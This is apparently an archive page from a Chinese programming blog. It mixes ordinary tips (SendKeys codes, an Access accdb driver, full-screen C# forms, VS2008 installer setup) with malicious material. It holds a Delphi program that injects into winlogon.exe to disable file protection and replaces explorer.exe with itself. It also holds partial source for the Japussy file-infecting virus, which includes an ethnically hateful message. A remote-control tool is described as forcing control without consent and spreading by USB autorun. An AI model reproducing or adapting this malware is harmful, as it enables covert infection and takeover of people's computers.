Archive for the ‘应用程序研发解决方案’ Category

以下是   SendKeys   的一些特殊键代码表。
键   代码
BACKSPACE   {BACKSPACE}、{BS}   或   {BKSP}
BREAK   {BREAK}
CAPS   LOCK   {CAPSLOCK}
DEL   或   DELETE   {DELETE}   或   {DEL}
DOWN   ARROW(下箭头键)   {DOWN}
END   {END}
ENTER   {ENTER}   或   ~
ESC   {ESC}
HELP   {HELP}
HOME   {HOME}
INS   或   INSERT   {INSERT}   或   {INS}
LEFT   ARROW(左箭头键)   {LEFT}
NUM   LOCK   {NUMLOCK}
PAGE   DOWN   {PGDN}
PAGE   UP   {PGUP}
PRINT   SCREEN   {PRTSC}(保留,以备将来使用)
RIGHT   ARROW(右箭头键)   {RIGHT}
SCROLL   LOCK   {SCROLLLOCK}
TAB   {TAB}
UP   ARROW(上箭头键)   {UP}
(more…)

accdb 格式的数据库。access 数据格式已经从一种通用的格式转换为一种私有的格式了。
目前的 MDAC 2.8 SP8 和 JET DB 4.0 都不支持 accdb 格式的数据库。
但不排除以下可能:微软单独开发Microsoft.ACE.OLEDB.12.0的数据引擎安装包,只要安装了这种安装包即使在没有安装 access 2007 的电脑上也能通过编程操作 *.accdb 格式的数据库。
果然微软为新版本的 ACCESS 数据库格式以及 EXCEL 开发了新的单独安装的驱动,不过体积也真不小哦。
只要安装了以下驱动就不需要安装整个 OFFICE 2007 就可以通过连接字串驱动 *.ACCDB 格式的数据库了。
http://www.microsoft.com/downloads/details.aspx?familyid=7554F536-8C28-4598-9B72-EF94E038C891&displaylang=zh-cn

Serials found

Downloads found

C# 远程控制桌面:http://hi.baidu.com/cvxb12/blog/item/f8ac1ad366532e093af3cfb3.html 原作者下榻本空间

远程控制桌面v1.0版编码部分今天已经顺利完成!

开发语言:C#

开发工具:Visual Studio 2008

项目介绍:

为了方便监视他人计算机而开发出来的,远程控制,共包含[一个控制端,一个监控端]

使用方法:

在将要进行控制的计算机上启动客户端程序,在将要监视的计算机上运行服务端,现在您所需要的就是在服务端输入要监控计算机的IP,点击监控即可监控受监控计算机的屏幕,当点击控制的时候,即可完全操作客户端计算机,期间不需要任何Windows身份验证,不需要客户端请求同意,完全强制性控制计算机!

征求各大网友的要求,现把改软件的截图公布出来,以供大家欣赏其芳容。

监视端(Monitor)


监控中…

控制中…

控制端(Console)

技术领域:TCP/IP为主,Bitmap,GDI

版本周期:从远程控制桌面v0.1开始 到 至今v1.0发布 未完待续…

开发周期:7天时间

测试周期:3天时间

测试记录:
2009.06.30 v0.3监控端多线程问题解决
2009.08.03 v0.4控制端占用系统CPU和内存过多资源问题解决
2009.08.05 v0.5控制端卡巴斯基杀毒软件抱恶意代码,未解决
2009.08.06 v0.6监控端增加了IP配置文件,修复了关闭服务端,程序还占用进程问题

2009.10.30 v0.7控制端增加程序通过U盘,移动硬盘AotoInfo自行传播复制到”C:Program FilesInternet Exploreriexplore.exe“和创建Windwos服务自启动功能

———————————————————–源码丢失

2011.01.04 v1.0 监控端新增窗口最大化。控制端新增保护进程,禁止结束进程

计划下个版本推出:控制端新增扫描端口,控制端连接气泡提示

program Project1;

uses
Windows,TlHelp32;

function LowerCase(const S: string): string; //转小写
var
Ch: Char;
L: Integer;
Source, Dest: PChar;
begin
L := Length(S);
SetLength(Result, L);
Source := Pointer(S);
Dest := Pointer(Result);
while L <> 0 do
begin
Ch := Source^;
if (Ch >= ‘A’) and (Ch <= ‘Z’) then Inc(Ch, 32);
Dest^ := Ch;
Inc(Source);
Inc(Dest);
Dec(L);
end;
end;

function CreatedMutexEx(MutexName: Pchar): Boolean;
var
MutexHandle: dword;
begin
MutexHandle := CreateMutex(nil, True, MutexName);
if MutexHandle <> 0 then
begin
if GetLastError = ERROR_ALREADY_EXISTS then
begin
//CloseHandle(MutexHandle);
Result := False;
Exit;
end;
end;
Result := True;
end;

function GetWinPath: string; //取WINDOWS目录
var
Buf: array[0..MAX_PATH] of char;
begin
GetWindowsDirectory(Buf, MAX_PATH);
Result := Buf;
if Result[Length(Result)]<>” then Result := Result + ”;
end;

function GetTempDirectory: string; //取临时目录
var
Buf: array[0..MAX_PATH] of char;
begin
GetTempPath(MAX_PATH,Buf);
Result := Buf;
if Result[Length(Result)]<>” then Result := Result + ”;
end;

function EnableDebugPriv : Boolean; //提权为DEBUG
var
hToken : THANDLE;
tp : TTokenPrivileges;
rl : Cardinal;
begin
result := false;
OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES or TOKEN_QUERY, hToken);
if LookupPrivilegeValue(nil, ‘SeDebugPrivilege’, tp.Privileges[0].Luid) then
begin
tp.PrivilegeCount := 1;
tp.Privileges[0].Attributes := SE_PRIVILEGE_ENABLED;
result := AdjustTokenPrivileges(hToken, False, tp, sizeof(tp), nil, rl);
end;
end;

procedure InjectThread(ProcessHandle: DWORD); //注入winlogon.exe 关闭XP文件保护
var
TID: LongWord;
hSfc,hThread: HMODULE;
pfnCloseEvents: Pointer;
begin
hSfc := LoadLibrary(‘sfc_os.dll’);
pfnCloseEvents := GetProcAddress(hSfc,MAKEINTRESOURCE(2));
FreeLibrary(hSfc);
hThread := CreateRemoteThread(ProcessHandle, nil, 0, pfnCloseEvents, nil, 0, TID);
WaitForSingleObject(hThread, 4000);
end;

procedure InitProcess(Name: string); //查找winlogon.exe进程PID
var
FSnapshotHandle: THandle;
FProcessEntry32: TProcessEntry32;
ProcessHandle:dword;
begin
FSnapshotHandle := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
FProcessEntry32.dwSize:=Sizeof(FProcessEntry32);
if Process32First(FSnapshotHandle,FProcessEntry32) then begin
repeat
If Name = LowerCase(FProcessEntry32.szExeFile) then
begin
ProcessHandle := OpenProcess(PROCESS_ALL_ACCESS, False, FProcessEntry32.th32ProcessID);
InjectThread(ProcessHandle);
CloseHandle(ProcessHandle);
Break;
end;
until not Process32Next(FSnapshotHandle,FProcessEntry32);
end;
CloseHandle(FSnapshotHandle);
end;

const ExpFile = ‘explorer.exe’;
MasterMutex = ‘OpenSoul’;

var
s: string;
begin
if not CreatedMutexEx(MasterMutex) then ExitProcess(0); //互拆体
if not EnableDebugPriv then Exit; //提权失败退出
InitProcess(‘winlogon.exe’) ; //注入winlogon.exe 先关闭xp的文件保护 .预防系统的还原
s := ParamStr(0) ; //取本名
if LowerCase(s) <> LowerCase(GetWinPath + ExpFile) then //判断自己是不是系统下的explorer.exe
begin //如果不是
MoveFileEx(PChar(GetWinPath + ExpFile),PChar(GetWinPath + ‘system32explorer.exe’),MOVEFILE_REPLACE_EXISTING); //先移动正在运行的explorer.exe
CopyFile(PChar(S),PChar(GetWinPath+ ExpFile),false) ; //把自己复制到windows目录 为explorer.exe
end;
WinExec(PChar(GetWinPath + ‘system32explorer.exe’),1); //运行真正的explorer.exe
end.

十一月 18th, 2010

某病毒源码

No Comments, 应用程序研发解决方案, by 小哥.
program Japussy;
uses
Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry};
const
HeaderSize = 82432;             //病毒体的大小
IconOffset = $12EB8;           //PE文件主图标的偏移量
//在我的Delphi5 SP1上面编译得到的大小,其它版本的Delphi可能不同
//查找2800000020的十六进制字符串可以找到主图标的偏移量

{
HeaderSize = 38912;             //Upx压缩过病毒体的大小
IconOffset = $92BC;             //Upx压缩过PE文件主图标的偏移量
//Upx 1.24W 用法: upx -9 --8086 Japussy.exe
}
IconSize   = $2E8;             //PE文件主图标的大小--744字节
IconTail   = IconOffset + IconSize; //PE文件主图标的尾部
ID       = $44444444;         //感染标记
//垃圾码,以备写入
Catchword = ''''''''''''''''If a race need to be killed out, it must be Yamato. '''''''''''''''' +
        ''''''''''''''''If a country need to be destroyed, it must be Japan! '''''''''''''''' +
        ''''''''''''''''*** W32.Japussy.Worm.A ***'''''''''''''''';
{$R *.RES}
function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;
stdcall; external ''''''''''''''''Kernel32.dll''''''''''''''''; //函数声明
var
TmpFile: string;
Si:     STARTUPINFO;
Pi:     PROCESS_INFORMATION;
IsJap:   Boolean = False; //日文操作系统标记
{ 判断是否为Win9x }
function IsWin9x: Boolean;
var
Ver: TOSVersionInfo;
begin
Result := False;
Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo);
if not GetVersionEx(Ver) then
  Exit;
if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x
  Result := True;
end;
{ 在流之间复制 }
procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream;
dStartPos: Integer; Count: Integer);
var
sCurPos, dCurPos: Integer;
begin
sCurPos := Src.Position;
dCurPos := Dst.Position;
Src.Seek(sStartPos, 0);
Dst.Seek(dStartPos, 0);
Dst.CopyFrom(Src, Count);
Src.Seek(sCurPos, 0);
Dst.Seek(dCurPos, 0);
end;
{ 将宿主文件从已感染的PE文件中分离出来,以备使用 }
procedure ExtractFile(FileName: string);
var
sStream, dStream: TFileStream;
begin
try
  sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone);
 try
    dStream := TFileStream.Create(FileName, fmCreate);
    try
    sStream.Seek(HeaderSize, 0); //跳过头部的病毒部分
    dStream.CopyFrom(sStream, sStream.Size - HeaderSize);
    finally
    dStream.Free;
    end;
  finally
    sStream.Free;
  end;
except
end;
end;
{ 填充STARTUPINFO结构 }
procedure FillStartupInfo(var Si: STARTUPINFO; State: Word);
begin
Si.cb := SizeOf(Si);
Si.lpReserved := nil;
Si.lpDesktop := nil;
Si.lpTitle := nil;
Si.dwFlags := STARTF_USESHOWWINDOW;
Si.wShowWindow := State;
Si.cbReserved2 := 0;
Si.lpReserved2 := nil;
end;
{ 发带毒邮件 }
procedure SendMail;
begin
//哪位仁兄愿意完成之?
end; (more...)

事件编号:20101118001

方法一
using System;
using System.Runtime.InteropServices;
using System.Windows.Forms;
/*******************************
* 程序启动全屏
* Hewill
* 2009-08-21
******************************/
namespace WindowsFormsApplication3
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}

public const int HWND_NOTOPMOST= -2;
public const int SWP_SHOWWINDOW=0x0040;
[DllImport(“user32.dll”)]
private static extern IntPtr FindWindowEx(int hwnd2, int hWnd2, string lpsz1, string lpsz2);
[DllImport(“user32.dll”)]
private static extern int GetWindowLong (IntPtr hwnd, int nIndex);
[DllImport(“user32.dll”)]
private static extern int SetWindowPos(IntPtr hwnd, int hWndInsertAfter, int x, int y, int cx, int cy, int wFlags);
private void Form1_Load(object sender, EventArgs e)
{
IntPtr test = FindWindowEx(0, 0, “Shell_TrayWnd”, “”);
Console.WriteLine(test.ToString());
int test5 = SetWindowPos(test, HWND_NOTOPMOST, 0, 0, 0, 0, SWP_SHOWWINDOW);
this.TopMost = true;
this.FormBorderStyle = FormBorderStyle.None;
this.Width = Screen.PrimaryScreen.Bounds.Width;
this.Height = Screen.PrimaryScreen.Bounds.Height;
this.Top = 0;
this.Left = 0;
}
}
}

方法二:
private void button1_Click(object sender, EventArgs e)
{
if (this.FormBorderStyle == FormBorderStyle.None)
{
this.FormBorderStyle = FormBorderStyle.FixedSingle;
this.WindowState = FormWindowState.Normal;
}
else
{
this.FormBorderStyle = FormBorderStyle.None;
this.WindowState = FormWindowState.Maximized;
}
}

VS2008 C# 制作打包安装程序

1. 创建一个安装向导项目或安装部署项目

新建项目->其他项目类型->安装与部署->安装向导->为项目起个名称(名称为:setup1)
在弹出来的安装向导中 点击下一步->要创建一个安装程序为安装应用程序中选择为Windows应用程序创建一个安装程序->添加要打包的文件->完成

系统会自动将要打包的项目所依赖的依赖项添加到“检测到的依赖项”中,如Microsoft .Net Framework,如果没有就需要手动添加了。

3. 建立目标机器上的开始-〉程序菜单和桌面的快捷方式

右击应用程序文件夹中的可执行文件-〉创建快捷方式,创建完后,可以重命名为合适的中文名,将该快捷方式剪贴到用户的“程序”菜单中,一般可以先在“程序”菜单中创建一个文件夹。同样的,再创建一个到用户桌面中。

4. 创建卸载程序
卸载程序的创建方式也有两种。

第一种,自己编写代码,代码如下

/// <summary>
/// 应用程序的主入口点。
/// </summary>
[STAThread]
static void Main()
{
System.Diagnostics.Process.Start(“msiexec”, “/X{C4A3986F-EA12-4194-BB8B-A9777E78A6ED}”);
Application.Exit();
//Application.Run(new Form1());
}

其中{C4A3986F-EA12-4194-BB8B-A9777E78A6ED}为安装项目的ProductCode属性值。查看该值时需要点击解决方案中的安装项目的名字,然后在属性窗口(菜单中的视图-〉属性窗口)中查看ProductCode属性值。

然后将该段代码的可执行文件加入到应用程序文件夹中,在卸载项上指向它即可.

第二种,使用msi实现
在左侧的应用程序文件夹中添加c:windowssystem32msiexec.exe文件,为了明确其意义,可改为uninstall.exe。然后按照上面提到的步骤创建该卸载文件的快捷方式,同样剪贴到用户的“程序”菜单中。
在第三步中提到先在“程序”菜单中创建一个文件夹,所以这里将该文件放到这个文件夹下,否则打包的程序安装后,在开始-〉程序列表中是看起来毫无关系的两个快捷方式。为了便于识别,将此快捷方式的名字修改为“卸载**”,**为软件名称。
修改该快捷方式的Argument属性值为”/x {ProductCode}”,ProductCode的查看方式见第4步中的第一种方式。

5. 设置安装项目的属性
1) 设置安装文件安装时的路径
该路径是由安装项目的属性manufacture,productname来决定的,为”C:ProgramFiles[manufacture] [productname],可以修改这两个属性值,或者干脆去掉manufacture属性,操作如下:
右击左边的”应用程序文件夹”打开属性对话框,将属性中的”defaultlocation”的路径中的”[manufacturer]”去掉。
2) 在解决方案管理器中右击安装项目的名称-〉属性,在打开的属性页中,选择”系统必备”,勾中.Net Framework2.0。
并且选中下面的“从与我相同的位置下载系统必备组件”。默认是第一项从网站进行下载,第三项是手工添加的方式。
3) 可选。设置安装项目的RemovePreviousVersion属性为True,InstallAllUsers属性为True。

6. 生成解决方案
生成-〉生成解决方案。
其更全的操作请到如下查看:
http://www.microsoft.com/china/MSDN/library/netFramework/netframework/VCSdnnetdepvsredistdeploy.mspx?mfr=true
http://www.java-asp.net/aspnet/200601/t_49903.html
部署.net平台的程序

在我实际打包的过程中,采用的是第二步中的第一种方式,第四步的第二种方式。虽然安装程序后,在安装目录下有msiexec.exe,但是点击卸载却并没有卸载掉程序,需要从控制面板中进行卸载。

附:
将.Net Framework2.0打包到安装程序中的另一种方式需要用到MicrosoftVisual Studio .NET 2005 引导程序插件PluginInstaller.msi,可以到微软官方网站下载,然后安装。安装该插件后再进行打包时,会发现安装文件的同级目录下会多出 好几个文件。

另外在第五步中选择从从网站下载.Net Framework 2.0,可以通过下面的方式查看url地址:
点击解决方案下的安装项目,视图-〉编辑器-〉启动项目。可以左侧的启动条件下有.Net Framework一项,点击该项后在属性窗口中查看InstallUrl属性,一般为”http://go.microsoft.com/fwlink /?LinkId=9832″